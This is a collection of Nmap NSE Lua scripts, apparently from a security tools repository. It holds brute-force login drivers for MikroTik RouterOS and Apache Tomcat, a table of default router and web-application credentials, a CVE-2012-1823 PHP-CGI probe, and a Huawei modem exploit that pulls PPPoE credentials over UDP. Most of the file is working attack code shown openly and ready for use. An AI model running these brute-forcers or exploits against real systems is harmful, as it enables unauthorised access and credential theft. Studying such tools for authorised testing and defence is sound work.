 19 | 
 20 | author = "Paulino Calderon "
 21 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
 22 | categories = {"discovery", "brute"}
 23 | 
 24 | local shortport = require "shortport"
 25 | local comm = require "comm"
 26 | local brute = require "brute"
 27 | local creds = require "creds"
 28 | local stdnse = require "stdnse"
 29 | local openssl = stdnse.silent_require "openssl"
 30 | 
 31 | portrule = shortport.portnumber(8728, "tcp")
 32 | 
 33 | --Brute object definition
 34 | Driver = 
 35 | {
 36 |   new = function(self, host, port, options )
 37 |   local o = { host = host, port = port, options = options }
 38 |   setmetatable(o, self)
 39 |   self.__index = self
 40 |     o.emptypass = true
 41 |     return o
 42 |   end,
 43 | 	
 44 |   connect = function( self )
 45 |     self.s = nmap.new_socket("tcp")
 46 |     self.s:set_timeout(self.options['timeout'])
 47 |     return self.s:connect(self.host, self.port, "tcp")
 48 |   end,
 49 | 
 50 |   login = function( self, username, password )
 51 |     local status, data, try, ret
 52 |     data = bin.pack("cAx", 0x6,"/login")
 53 | 
 54 |     --Connect to service and obtain the challenge response
 55 |     try = nmap.new_try(function() return false, brute.Error:new( "Connection error" ) end)
 56 |     self.s:send(data)
 57 |     _, data = self.s:receive_bytes(50)
 58 |     stdnse.print_debug(1, "Response #1:%s", data)
 59 |     if type(data) == "string" then
 60 |       _, _, ret = string.find(data, '!done%%=ret=(.+)')
 61 |     end
 62 |     --If we find the challenge value we continue the connection process
 63 |     if ret then
 64 |         stdnse.print_debug(1, "Challenge value found:%s", ret)
 65 |         local md5str = bin.pack("xAA", password, ret:fromhex())
 66 |         local chksum = stdnse.tohex(openssl.md5(md5str))
 67 |         local login_pkt = bin.pack("cAcAcAx", 0x6, "/login", 0x0b, "=name="..username, 0x2c, "=response=00"..chksum)
 68 |         stdnse.print_debug(1, "%s:Login query:%s", SCRIPT_NAME, login_pkt)
 69 |         self.s:send(login_pkt)
 70 |         _, data = self.s:receive_bytes(50)
 71 |         stdnse.print_debug(1, "Response #2:%s", data)
 72 |         if data and string.find(data, "%!done") ~= nil then
 73 |           if string.find(data, "message=cannot") == nil then
 74 |             local c = creds.Credentials:new(SCRIPT_NAME, self.host, self.port )
 75 |             c:add(username, password, creds.State.VALID )
 76 |             return true, brute.Account:new(username, password, creds.State.VALID)
 77 |           end
 78 |         end
 79 |     end
 80 |     return false, brute.Error:new( "Incorrect password" )
 81 |   end,
 82 |   
 83 |   disconnect = function( self )
 84 |     return self.s:close()
 85 |   end		
 86 | }
 87 | function string.fromhex(str)
 88 |     return (str:gsub('..', function (cc)
 89 |         return string.char(tonumber(cc, 16))
 90 |     end))
 91 | end
 92 | 
 93 | action = function(host, port)
 94 |   local result
 95 |   local thread_num = stdnse.get_script_args(SCRIPT_NAME..".threads") or 1
 96 |   local options = {timeout = 5000}
 97 |   local bengine = brute.Engine:new(Driver, host, port, options)
 98 | 
 99 |   bengine:setMaxThreads(thread_num)
100 |   bengine.options.script_name = SCRIPT_NAME
101 |   _, result = bengine:start()
102 | 
103 |   return result
104 | end
105 | 


--------------------------------------------------------------------------------
/old-scripts/http-cakephp-version.nse:
--------------------------------------------------------------------------------
  1 | description = [[
  2 | Obtains the CakePHP version of a web application built with the CakePHP framework. This script depends on default files shipped with the CakePHP framework.
  3 | 
  4 | This script queries the files 'vendors.php', 'cake.generic.css', 'cake.icon.png' and 'cake.icon.gif' to try to obtain the version of the CakePHP installation.
  5 | Since installations that had been upgraded are prone to false positives due to old files that aren't removed, the script displays 3 different versions:
  6 | * Codebase: Taken from the existence of vendors.php (1.1.x or 1.2.x if it does and 1.3.x otherwise)
  7 | * Stylesheet: Taken from cake.generic.css 
  8 | * Icon: Taken from cake.icon.gif or cake.icon.png 
  9 | 
 10 | For more information about CakePHP visit: http://www.cakephp.org/.
 11 | ]]
 12 | 
 13 | ---
 14 | -- @usage
 15 | -- nmap -p80,443 --script http-cakephp-version 
 16 | --
 17 | -- @output
 18 | -- PORT   STATE SERVICE 
 19 | -- 80/tcp open  http
 20 | -- | http-cakephp-version: Version of codebase: 1.2.x
 21 | -- | Version of icons: 1.2.x
 22 | -- | Version of stylesheet: 1.2.6
 23 | 
 24 | author = "Paulino Calderon"
 25 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
 26 | categories = {"discovery","safe"}
 27 | 
 28 | require "http"
 29 | require "shortport"
 30 | 
 31 | portrule = shortport.http
 32 | 
 33 | -- Queries for fingerprinting
 34 | local PNG_ICON_QUERY = "/img/cake.icon.png"
 35 | local GIF_ICON_QUERY = "/img/cake.icon.gif"
 36 | local STYLESHEET_QUERY = "/css/cake.generic.css"
 37 | local VENDORS_QUERY = "/js/vendors.php"
 38 | 
 39 | -- Cakephp's stylesheets hashes
 40 | local CAKEPHP_STYLESHEET_HASHES = {
 41 | 	["aaf0340c16415585554a7aefde2778c4"] = {"1.1.12"},
 42 | 	["8f8a877d924aa26ccd66c84ff8f8c8fe"] = {"1.1.14"},
 43 | 	["02a661c167affd9deda2a45f4341297e"] = {"1.1.17", "1.1.20"},
 44 | 	["1776a7c1b3255b07c6b9f43b9f50f05e"] = {"1.2.0 - 1.2.5", "1.3.0 Alpha"},
 45 | 	["1ffc970c5eae684bebc0e0133c4e1f01"] = {"1.2.6"},
 46 | 	["2e7f5372931a7f6f86786e95871ac947"] = {"1.2.7 - 1.2.9"},
 47 | 	["3422eded2fcceb3c89cabb5156b5d4e2"] = {"1.3.0 beta"},
 48 | 	["3c31e4674f42a49108b5300f8e73be26"] = {"1.3.0 RC1 - 1.3.7"}
 49 | }
 50 | 
 51 | action = function(host, port)
 52 | 	local response, png_icon_response, gif_icon_response
 53 | 	local icon_versions, stylesheet_versions
 54 | 	local icon_hash, stylesheet_hash
 55 | 	local output_lines
 56 | 	local installation_version
 57 | 
 58 | 	-- Is /js/vendors.php there?
 59 | 	response = http.get(host, port, VENDORS_QUERY)
 60 | 	if response.body and response.status == 200 then
 61 | 		installation_version = {"1.1.x","1.2.x"}	
 62 | 	elseif response.status ~= 200 then
 63 | 		installation_version = {"1.3.x"}	
 64 | 	end
 65 | 
 66 | 	-- Are the default icons there?
 67 | 	png_icon_response = http.get(host, port, PNG_ICON_QUERY)
 68 | 	gif_icon_response = http.get(host, port, GIF_ICON_QUERY)
 69 | 	if png_icon_response.body and png_icon_response.status == 200 then
 70 | 		icon_versions = {"1.3.x"}
 71 | 	elseif gif_icon_response.body and gif_icon_response.status == 200 then
 72 | 		icon_versions = {"1.2.x"}	
 73 | 	end
 74 | 
 75 | 	-- Download cake.generic.css and fingerprint
 76 | 	response = http.get(host, port, STYLESHEET_QUERY)
 77 | 	if response.body and response.status == 200 then
 78 | 		stylesheet_hash = stdnse.tohex(openssl.md5(response.body))
 79 | 		stylesheet_versions = CAKEPHP_STYLESHEET_HASHES[stylesheet_hash]
 80 | 	end
 81 | 
 82 | 	-- Prepare output	
 83 | 	output_lines = {}
 84 | 	if installation_version then
 85 | 		output_lines[#output_lines + 1] = "Version of codebase: " .. stdnse.strjoin(", ", installation_version)
 86 | 	end
 87 | 	if icon_versions then
 88 | 		output_lines[#output_lines + 1] = "Version of icons: " .. stdnse.strjoin(", ", icon_versions)
 89 | 	end
 90 | 	if stylesheet_versions then
 91 | 		output_lines[#output_lines + 1] = "Version of stylesheet: " .. stdnse.strjoin(", ", stylesheet_versions)
 92 | 	elseif stylesheet_hash and nmap.verbosity() >= 2 then
 93 | 		output_lines[#output_lines + 1] = "Default stylesheet has an unknown hash: " .. stylesheet_hash
 94 | 	end
 95 | 	if #output_lines > 0 then
 96 | 		return stdnse.strjoin("\n", output_lines)
 97 | 	end
 98 | end
 99 | 
100 | 


--------------------------------------------------------------------------------
/old-scripts/http-tomcat-brute.nse:
--------------------------------------------------------------------------------
  1 | description = [[
  2 | Performs a brute force password attack against Apache Tomcat installations.
  3 | 
  4 | Tomcat default:
  5 | * uri: /manager/html
  6 | ]]
  7 | 
  8 | ---
  9 | -- @usage
 10 | -- ./nmap --script http-tomcat-brute --script-args 'http-tomcat-brute.hostname=192.168.1.105,http-tomcat-brute.threads=8' 192.168.1.105
 11 | --
 12 | -- @output
 13 | -- PORT   STATE SERVICE REASON
 14 | -- 8180/tcp open  unknown syn-ack
 15 | -- | http-tomcat-brute: 
 16 | -- |   Accounts
 17 | -- |     tomcat:tomcat => Login correct
 18 | -- |   Statistics
 19 | -- |_    Perfomed 15 guesses in 1 seconds, average tps: 15
 20 | --
 21 | --
 22 | -- @args http-tomcat-brute.uri Uri pointing to protected admin section. Default: /manager/html
 23 | -- @args http-tomcat-brute.hostname Sets hostname header.
 24 | -- @args http-tomcat-brute.threads Sets number of concurrent threads. Default: 3
 25 | --
 26 | -- Other useful arguments when using this script are:
 27 | -- * http.useragent = String - User Agent used in HTTP requests
 28 | -- * brute.firstonly = Boolean - Stop attack when the first credentials are found
 29 | -- * brute.mode = user/creds/pass - Username password iterator
 30 | -- * passdb = String - Path to password list 
 31 | -- * userdb = String - Path to user list 
 32 | --
 33 | author = "Paulino Calderon"
 34 | 
 35 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
 36 | 
 37 | categories = {"default", "auth", "intrusive"}
 38 | 
 39 | require "shortport"
 40 | require "http"
 41 | require "stdnse"
 42 | require "brute"
 43 | 
 44 | portrule = shortport.http
 45 | 
 46 | local DEFAULT_TOMCAT_URI = "/manager/html"
 47 | local DEFAULT_THREAD_NUM = 3
 48 | 
 49 | ---
 50 | --This class implements the Driver class from the Brute library
 51 | ---
 52 | Driver = {	
 53 |   new = function(self, host, port, options)
 54 |     local o = {}
 55 |     setmetatable(o, self)
 56 |     self.__index = self
 57 |     o.host = nmap.registry.args['http-tomcat-brute.hostname'] or host
 58 |     o.port = port
 59 |     o.uri = nmap.registry.args['http-tomcat-brute.uri'] or DEFAULT_TOMCAT_URI
 60 |     o.options = options
 61 |     return o
 62 |   end,
 63 | 	
 64 |   connect = function( self )
 65 |     return true
 66 |   end,
 67 | 	
 68 |   login = function( self, username, password)
 69 |     local credentials = {username = username, password = password}
 70 |     local response = http.get(self.host, self.port, self.uri, {auth = credentials, no_cache = true})
 71 |     stdnse.print_debug(2, "HTTP GET %s%s returned status %d", self.host, self.uri, response.status)
 72 |     if response.status ~= 401 and response.status ~= 403 then
 73 |       if ( not( nmap.registry['credentials'] ) ) then
 74 |         nmap.registry['credentials'] = {}
 75 |       end
 76 |       if ( not( nmap.registry.credentials['http'] ) ) then
 77 |         nmap.registry.credentials['http'] = {}
 78 |       end
 79 | 		  
 80 |       table.insert( nmap.registry.credentials.http, { username = username, password = password } )
 81 |       return true, brute.Account:new( username, password, "OPEN")
 82 |     end
 83 |     return false, brute.Error:new( "Incorrect password" )
 84 |   end,
 85 | 	
 86 |   disconnect = function( self ) 
 87 |     return true
 88 |   end,
 89 | 	
 90 |   check = function( self )
 91 |     local response = http.get( self.host, self.port, self.uri )
 92 |     stdnse.print_debug(1, "HTTP GET %s%s", stdnse.get_hostname(self.host),self.uri)			
 93 |     -- Check if www-authenticate field is there
 94 |     if response.status == 401 and response.header["www-authenticate"] then
 95 |       stdnse.print_debug(1, "Initial check passed. Launching brute force attack")
 96 |       return true
 97 |     else
 98 |       stdnse.print_debug(1, "Initial check failed. Password field wasn't found")
 99 |     end
100 |           
101 |    return false
102 |   end	
103 | }
104 | ---
105 | --MAIN
106 | ---
107 | action = function(host, port)
108 |   local status, result, engine
109 |   local thread_num = nmap.registry["http-tomcat-brute.threads"] or DEFAULT_THREAD_NUM
110 | 
111 |   engine = brute.Engine:new( Driver, host, port )
112 |   engine:setMaxThreads(thread_num)
113 |   status, result = engine:start()
114 | 	
115 |   return result
116 | end
117 | 


--------------------------------------------------------------------------------
/data/http-default-accounts-fingerprints.lua:
--------------------------------------------------------------------------------
  1 | ---
  2 | -- http-default-accounts-fingerprints.lua
  3 | -- This file contains fingerprint data for http-default-accounts.nse
  4 | --
  5 | -- STRUCTURE:
  6 | -- * name - Descriptive name
  7 | -- * category - Category
  8 | -- * login_combos
  9 | ---- * username - Default username
 10 | ---- * password - Default password
 11 | -- * paths - Paths table containing the possible location of the target
 12 | -- * login_check - Login function of the target
 13 | ---
 14 | 
 15 | ---
 16 | -- Requests given path using basic authentication.
 17 | -- @param host Host table
 18 | -- @param port Port table
 19 | -- @param path Path to request
 20 | -- @param user Username for Basic Auth
 21 | -- @param pass Password for Basic Auth
 22 | -- @return True if login in was successful
 23 | ---
 24 | local function try_http_basic_login(host, port, path, user, pass)
 25 |     local credentials = {username = user, password = pass}
 26 |     local req = http.get(host, port, path, {no_cache=true, auth=credentials})
 27 |     if req.status ~= 401 and req.status ~= 403 then
 28 |       return true
 29 |     end
 30 |     return false
 31 | end
 32 | 
 33 | ---
 34 | -- Tries to login with a http post, if the FAIL string is not found
 35 | -- we assume login in was successful
 36 | -- @param host Host table
 37 | -- @param port Port table
 38 | -- @param target Target file
 39 | -- @param failstr String shown when login in fails
 40 | -- @param params Post parameters
 41 | -- @param follow_redirects True if you want redirects to be followed
 42 | -- @return True if login in was successful
 43 | ---
 44 | local function try_http_post_login(host, port, path, target, failstr, params, follow_redirects)
 45 |     local req = http.post(host, port, path..target, {no_cache=true}, nil, params)
 46 |     
 47 |     local status = ( req and tonumber(req.status) ) or 0
 48 |     if follow_redirects and ( status > 300 and status < 400 ) then
 49 |       req = http.get(host, port, url.absolute(path, req.header.location), { no_cache = true})
 50 |     end
 51 |     if not(http.response_contains(req, failstr)) then
 52 |       return true
 53 |     end
 54 |     return false
 55 | end
 56 | fingerprints = {}
 57 | 
 58 | ---
 59 | --WEB
 60 | ---
 61 | table.insert(fingerprints, {
 62 |   name = "Cacti",
 63 |   category = "web",
 64 |   paths = {
 65 |     {path = "/cacti/"}
 66 |   },
 67 |   login_combos = {
 68 |     {username = "admin", password = "admin"}
 69 |   },
 70 |   login_check = function (host, port, path, user, pass)
 71 |     return try_http_post_login(host, port, path, "index.php", "Invalid User Name/Password", {action="login", login_username=user, login_password=pass}, false)
 72 |   end
 73 | })
 74 | 
 75 | table.insert(fingerprints, {
 76 |   name = "Apache Tomcat",
 77 |   category = "web",
 78 |   paths = {
 79 |     {path = "/manager/html/"},
 80 |     {path = "/tomcat/manager/html/"}
 81 |   },
 82 |   login_combos = {
 83 |     {username = "tomcat", password = "tomcat"},
 84 |     {username = "admin", password = "admin"}
 85 |   },
 86 |   login_check = function (host, port, path, user, pass)
 87 |     return try_http_basic_login(host, port, path, user, pass)
 88 |   end
 89 | })
 90 | ---
 91 | --ROUTERS
 92 | ---
 93 | table.insert(fingerprints, {
 94 |   name = "Arris 2307",
 95 |   category = "routers",
 96 |   paths = {
 97 |     {path = "/logo_t.gif"}
 98 |   },
 99 |   login_combos = {
100 |     {username = "", password = ""}
101 |   },
102 |   login_check = function (host, port, path, user, pass)
103 |     return try_http_post_login(host, port, path, "login.cgi", "Login Error !!", {action="submit", page="", logout="", pws=pass})
104 |   end
105 | })
106 | 
107 | table.insert(fingerprints, {
108 |   name = "Cisco 2811",
109 |   category = "routers",
110 |   paths = {
111 |     {path = "/exec/show/log/CR"},
112 |     {path = "/level/15/exec/-/configure/http"},
113 |     {path = "/level/15/exec/-"},
114 |     {path = "/level/15/"}
115 |   },
116 |   login_combos = {
117 |     {username = "", password = ""},
118 |     {username = "cisco", password = "cisco"}
119 |   },
120 |   login_check = function (host, port, path, user, pass)
121 |     return try_http_basic_login(host, port, path, user, pass)
122 |   end
123 | })
124 | 
125 | 
126 | 


--------------------------------------------------------------------------------
/old-scripts/huawei5xx-udp-info.nse:
--------------------------------------------------------------------------------
  1 | description=[[
  2 | Tries to obtain the PPPoE credentials, MAC address, firmware version and IP information of the aDSL modems 
  3 | Huawei Echolife 520, 520b, 530 and possibly others by exploiting an information disclosure vulnerability via UDP.
  4 | 
  5 | The script works by sending a crafted UDP packet to port 43690 and then parsing the response that contains 
  6 | the configuration values. This exploit has been reported to be blocked in some ISPs, in those cases the exploit seems to work fine in local networks.
  7 | 
  8 | Vulnerability discovered by Pedro Joaquin. No CVE assigned.
  9 | 
 10 | References:
 11 | * http://www.hakim.ws/huawei/HG520_udpinfo.tar.gz
 12 | * http://websec.ca/advisories/view/Huawei-HG520c-3.10.18.x-information-disclosure
 13 | ]]
 14 | 
 15 | ---
 16 | -- @usage
 17 | -- nmap -sU -p43690 --script huawei5xx-udp-info 
 18 | -- @output
 19 | -- PORT      STATE         SERVICE REASON
 20 | -- 43690/udp open|filtered unknown no-response
 21 | -- |_huawei5xx-udp-info: |\x10||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||\x01||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
 22 | --
 23 | -- @args huawei5xx-udp-info.timeout Timeout value. Default:3000ms
 24 | ---
 25 | 
 26 | 
 27 | author = "Paulino Calderon"
 28 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
 29 | categories = {"intrusive", "vuln"}
 30 | 
 31 | require "stdnse"
 32 | require "io"
 33 | require "shortport"
 34 | 
 35 | HUAWEI_UDP_PORT=43690
 36 | PAYLOAD_LOCATION="nselib/data/huawei-udp-info"
 37 | 
 38 | portrule = shortport.portnumber(HUAWEI_UDP_PORT, "udp", {"open", "open|filtered","filtered"})
 39 | 
 40 | load_udp_payload = function()
 41 |   local payload_l = nmap.fetchfile(PAYLOAD_LOCATION)
 42 |   if (not(payload_l)) then
 43 |     stdnse.print_debug(1, "%s:Couldn't locate payload %s", SCRIPT_NAME, PAYLOAD_LOCATION)
 44 |     return
 45 |   end
 46 |   local payload_h = io.open(payload_l, "rb")
 47 |   local payload = payload_h:read("*a")
 48 |   if (not(payload)) then 
 49 |     stdnse.print_debug(1, "%s:Couldn't load payload %s", SCRIPT_NAME, payload_l)
 50 |     if nmap.verbosity()>=2 then
 51 |       return "[Error] Couldn't load payload"
 52 |     end
 53 |     return 
 54 |   end
 55 | 
 56 |   payload_h:flush()
 57 |   payload_h:close()
 58 |   return payload
 59 | end
 60 | 
 61 | ---
 62 | -- send_udp_payload(ip, timeout)
 63 | -- Sends the payload to port and returns the response
 64 | ---
 65 | send_udp_payload = function(ip, timeout, payload)
 66 |   local data
 67 |   stdnse.print_debug(2, "%s:Sending UDP payload", SCRIPT_NAME) 
 68 |   local socket = nmap.new_socket("udp")
 69 |   socket:set_timeout(tonumber(timeout))
 70 |   local status = socket:connect(ip, HUAWEI_UDP_PORT, "udp")
 71 |   if (not(status)) then return end
 72 |   status = socket:send(payload)
 73 |   if (not(status)) then return end
 74 | 
 75 |   status, data = socket:receive()
 76 |   if (not(status)) then 
 77 |     socket:close()
 78 |     return
 79 |   end
 80 |   socket:close()
 81 |   return data
 82 | end
 83 | 
 84 | ---
 85 | -- Parses response to extract information. 
 86 | -- Only removes null bytes now.
 87 | ---
 88 | parse_resp = function(resp)
 89 |   local out = resp:gsub("%z", "|")
 90 |   return out
 91 | end
 92 | 
 93 | ---
 94 | --MAIN
 95 | ---
 96 | action = function(host, port)
 97 |   local timeout = stdnse.get_script_args(SCRIPT_NAME..".timeout") or 3000
 98 |   local payload = load_udp_payload()
 99 |   local response = send_udp_payload(host.ip, timeout, payload)
100 |   if response then
101 |     return parse_resp(response)
102 |   end
103 | end
104 | 


--------------------------------------------------------------------------------
/scripts/http-vuln-cve2012-1823.nse:
--------------------------------------------------------------------------------
  1 | local http = require "http"
  2 | local shortport = require "shortport"
  3 | local stdnse = require "stdnse"
  4 | local string = require "string"
  5 | local vulns = require "vulns"
  6 | 
  7 | description = [[
  8 | Detects PHP-CGI installations that are vulnerable to CVE-2012-1823, This critical vulnerability allows attackers to retrieve source code and execute code remotely.
  9 | 
 10 | The script works by appending "?-s" to the uri to make vulnerable php-cgi handlers return colour syntax highlighted source. We use the pattern "<?" to detect
 11 | vulnerable installations.
 12 | 
 13 | TODO:
 14 | -Improve detection mechanism ( Execute certain payload and look for it in the response to confirm exploitability)
 15 | -Add exploitation script
 16 | ]]
 17 | 
 18 | ---
 19 | -- @usage
 20 | -- nmap -sV --script http-vuln-cve2012-1823 
 21 | -- nmap -p80 --script http-vuln-cve2012-1823 --script-args http-vuln-cve2012-1823.uri=/test.php 
 22 | -- @output
 23 | -- PORT   STATE SERVICE REASON
 24 | -- 80/tcp open  http    syn-ack
 25 | -- | http-vuln-cve2012-1823: 
 26 | -- |   VULNERABLE:
 27 | -- |   PHP-CGI Remote code execution and source code disclosure
 28 | -- |     State: VULNERABLE (Exploitable)
 29 | -- |     IDs:  CVE:2012-1823
 30 | -- |     Description:
 31 | -- |       According to PHP's website, "PHP is a widely-used general-purpose
 32 | -- |       scripting language that is especially suited for Web development and
 33 | -- |       can be embedded into HTML." When PHP is used in a CGI-based setup
 34 | -- |       (such as Apache's mod_cgid), the php-cgi receives a processed query
 35 | -- |       string parameter as command line arguments which allows command-line
 36 | -- |       switches, such as -s, -d or -c to be passed to the php-cgi binary,
 37 | -- |       which can be exploited to disclose source code and obtain arbitrary
 38 | -- |       code execution.
 39 | -- |     Disclosure date: 2012-05-3
 40 | -- |     Extra information:
 41 | -- |       Proof of Concept:/index.php?-s
 42 | -- |     References:
 43 | -- |       http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/
 44 | -- |       http://cve.mitre.org/cgi-bin/cvename.cgi?name=2012-1823
 45 | -- |_      http://ompldr.org/vZGxxaQ
 46 | --
 47 | -- @args http-vuln-cve2012-1823.uri URI. Default: /index.php
 48 | ---
 49 | 
 50 | author = "Paulino Calderon"
 51 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
 52 | categories = {"exploit","vuln","intrusive"}
 53 | 
 54 | 
 55 | portrule = shortport.http
 56 | 
 57 | action = function(host, port)
 58 |   local uri = stdnse.get_script_args(SCRIPT_NAME..".uri") or "/index.php"
 59 | 
 60 |   local vuln = {
 61 |        title = 'PHP-CGI Remote code execution and source code disclosure',
 62 |        state = vulns.STATE.NOT_VULN, -- default
 63 |        IDS = {CVE = '2012-1823'},
 64 |        description = [[
 65 | According to PHP's website, "PHP is a widely-used general-purpose
 66 | scripting language that is especially suited for Web development and
 67 | can be embedded into HTML." When PHP is used in a CGI-based setup
 68 | (such as Apache's mod_cgid), the php-cgi receives a processed query
 69 | string parameter as command line arguments which allows command-line
 70 | switches, such as -s, -d or -c to be passed to the php-cgi binary,
 71 | which can be exploited to disclose source code and obtain arbitrary
 72 | code execution.]],
 73 |        references = {
 74 |           'http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/',
 75 |            'http://ompldr.org/vZGxxaQ',
 76 |        },
 77 |        dates = {
 78 |            disclosure = {year = '2012', month = '05', day = '3'},
 79 |        },
 80 |      }
 81 |   local vuln_report = vulns.Report:new(SCRIPT_NAME, host, port)
 82 | 
 83 |   local reg_session = http.get(host, port, uri)
 84 |   if reg_session and reg_session.status == 200 then
 85 |     if string.match(reg_session.body, "<?") then
 86 |       stdnse.print_debug(1, "Pattern exists on file! We can't determine if this page is vulnerable. Try with a different URI.")
 87 |       return
 88 |     end
 89 |   end
 90 | 
 91 |   local open_session = http.get(host, port, uri.."?-s")
 92 |   if open_session and open_session.status == 200 then
 93 |      if string.match(open_session.body, "<?") then
 94 |         vuln.state = vulns.STATE.EXPLOIT
 95 |         vuln.extra_info=string.format("Proof of Concept:%s\n%s", uri.."?-s", open_session.body)
 96 |         return vuln_report:make_output(vuln)
 97 |      end
 98 |   end
 99 | end
100 | 


--------------------------------------------------------------------------------
/scripts/hostmap-ip2hosts.nse:
--------------------------------------------------------------------------------
  1 | description = [[
  2 | Finds hostnames that resolve to the target's IP address by querying the online database:
  3 | * http://www.ip2hosts.com ( Bing Search Results )
  4 | 
  5 | The script is in the "external" category because it sends target IPs to a third party in order to query their database.
  6 | ]]
  7 | 
  8 | ---
  9 | -- @args hostmap.prefix If set, saves the output for each host in a file
 10 | -- called "". The file contains one entry per line.
 11 | -- @args newtargets If set, add the new hostnames to the scanning queue.
 12 | -- This the names presumably resolve to the same IP address as the
 13 | -- original target, this is only useful for services such as HTTP that
 14 | -- can change their behavior based on hostname.
 15 | --
 16 | -- @usage
 17 | -- nmap --script hostmap-ip2hosts --script-args 'hostmap-ip2hosts.prefix=hostmap-' 
 18 | -- @usage
 19 | -- nmap -sn --script hostmap-ip2hosts 
 20 | -- @xml-output 
 21 | -- @output
 22 | -- Host script results:
 23 | -- | hostmap-ip2hosts: 
 24 | -- |   hosts: 
 25 | -- |     insecure.org
 26 | -- |     nmap.org
 27 | -- |     sectools.org
 28 | -- |     svn.nmap.org
 29 | -- |     cgi.insecure.org
 30 | -- |_  filename: output_nmap.org
 31 | -- @xmloutput
 32 | -- 
 33 | --  insecure.org
 34 | --  nmap.org
 35 | --  sectools.org
 36 | --  svn.nmap.org
 37 | --  cgi.insecure.org
 38 | --  
39 | -- output_nmap.org 40 | --- 41 | 42 | author = {'Paulino Calderon '} 43 | 44 | license = "Same as Nmap--See http://nmap.org/book/man-legal.html" 45 | 46 | categories = {"external", "discovery"} 47 | 48 | local dns = require "dns" 49 | local ipOps = require "ipOps" 50 | local http = require "http" 51 | local stdnse = require "stdnse" 52 | local target = require "target" 53 | 54 | local HOSTMAP_BING_SERVER = "www.ip2hosts.com" 55 | local HOSTMAP_DEFAULT_PROVIDER = "ALL" 56 | 57 | local filename_escape, write_file 58 | 59 | hostrule = function(host) 60 | return not ipOps.isPrivate(host.ip) 61 | end 62 | 63 | local function query_bing(ip) 64 | local query = "/csv.php?ip=" .. ip 65 | local response 66 | local entries 67 | response = http.get(HOSTMAP_BING_SERVER, 80, query) 68 | local hostnames = {} 69 | if not response.status then 70 | return string.format("Error: could not GET http://%s%s", HOSTMAP_BING_SERVER, query) 71 | end 72 | entries = stdnse.strsplit(",", response.body); 73 | for _, entry in pairs(entries) do 74 | if not hostnames[entry] and entry ~= "" then 75 | if target.ALLOW_NEW_TARGETS then 76 | local status, err = target.add(entry) 77 | end 78 | entry = string.gsub(entry, "(https://)", "") 79 | entry = string.gsub(entry, "(http://)", "") 80 | hostnames[#hostnames + 1] = entry 81 | end 82 | end 83 | 84 | if #hostnames == 0 then 85 | if not string.find(response.body, "no results") then 86 | return "Error: found no hostnames but not the marker for \"no hostnames found\" (pattern error?)" 87 | end 88 | end 89 | return hostnames 90 | end 91 | 92 | action = function(host) 93 | local filename_prefix = stdnse.get_script_args("hostmap.prefix") 94 | local hostnames = {} 95 | local hostnames_str, output_str 96 | local output_tab = stdnse.output_table() 97 | stdnse.print_debug(1, "Using database: %s", HOSTMAP_BING_SERVER) 98 | hostnames = query_bing(host.ip) 99 | 100 | output_tab.hosts = hostnames 101 | --write to file 102 | if filename_prefix then 103 | local filename = filename_prefix .. filename_escape(host.targetname or host.ip) 104 | hostnames_str = stdnse.strjoin("\n", hostnames) 105 | local status, err = write_file(filename, hostnames_str) 106 | if status then 107 | output_tab.filename = filename 108 | else 109 | stdnse.print_debug(1, "There was an error saving the file %s:%s", filename, err) 110 | end 111 | end 112 | 113 | return output_tab 114 | end 115 | 116 | -- Escape some potentially unsafe characters in a string meant to be a filename. 117 | function filename_escape(s) 118 | return string.gsub(s, "[%z/=]", function(c) 119 | return string.format("=%02X", string.byte(c)) 120 | end) 121 | end 122 | 123 | function write_file(filename, contents) 124 | local f, err = io.open(filename, "w") 125 | if not f then 126 | return f, err 127 | end 128 | f:write(contents) 129 | f:close() 130 | return true 131 | end 132 | -------------------------------------------------------------------------------- /scripts/huawei5xx-udp-info.nse: -------------------------------------------------------------------------------- 1 | local stdnse = require "stdnse" 2 | local io = require "io" 3 | local shortport = require "shortport" 4 | 5 | description=[[ 6 | Tries to obtain the PPPoE credentials, MAC address, firmware version and IP 7 | information of the aDSL modems Huawei Echolife 520, 520b, 530 and possibly 8 | others by exploiting an information disclosure vulnerability via UDP. 9 | 10 | The script works by sending a crafted UDP packet to port 43690 and then 11 | parsing the response that contains the configuration values. This exploit 12 | has been reported to be blocked in some ISPs, in those cases the exploit 13 | seems to work fine in local networks. 14 | 15 | Vulnerability discovered by Pedro Joaquin. No CVE assigned. 16 | 17 | References: 18 | * http://www.hakim.ws/huawei/HG520_udpinfo.tar.gz 19 | * http://websec.ca/advisories/view/Huawei-HG520c-3.10.18.x-information-disclosure 20 | ]] 21 | 22 | --- 23 | -- @usage 24 | -- nmap -sU -p43690 --script huawei5xx-udp-info 25 | -- @output 26 | -- PORT STATE SERVICE REASON 27 | -- 43690/udp open|filtered unknown no-response 28 | -- |_huawei5xx-udp-info: |\x10||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| 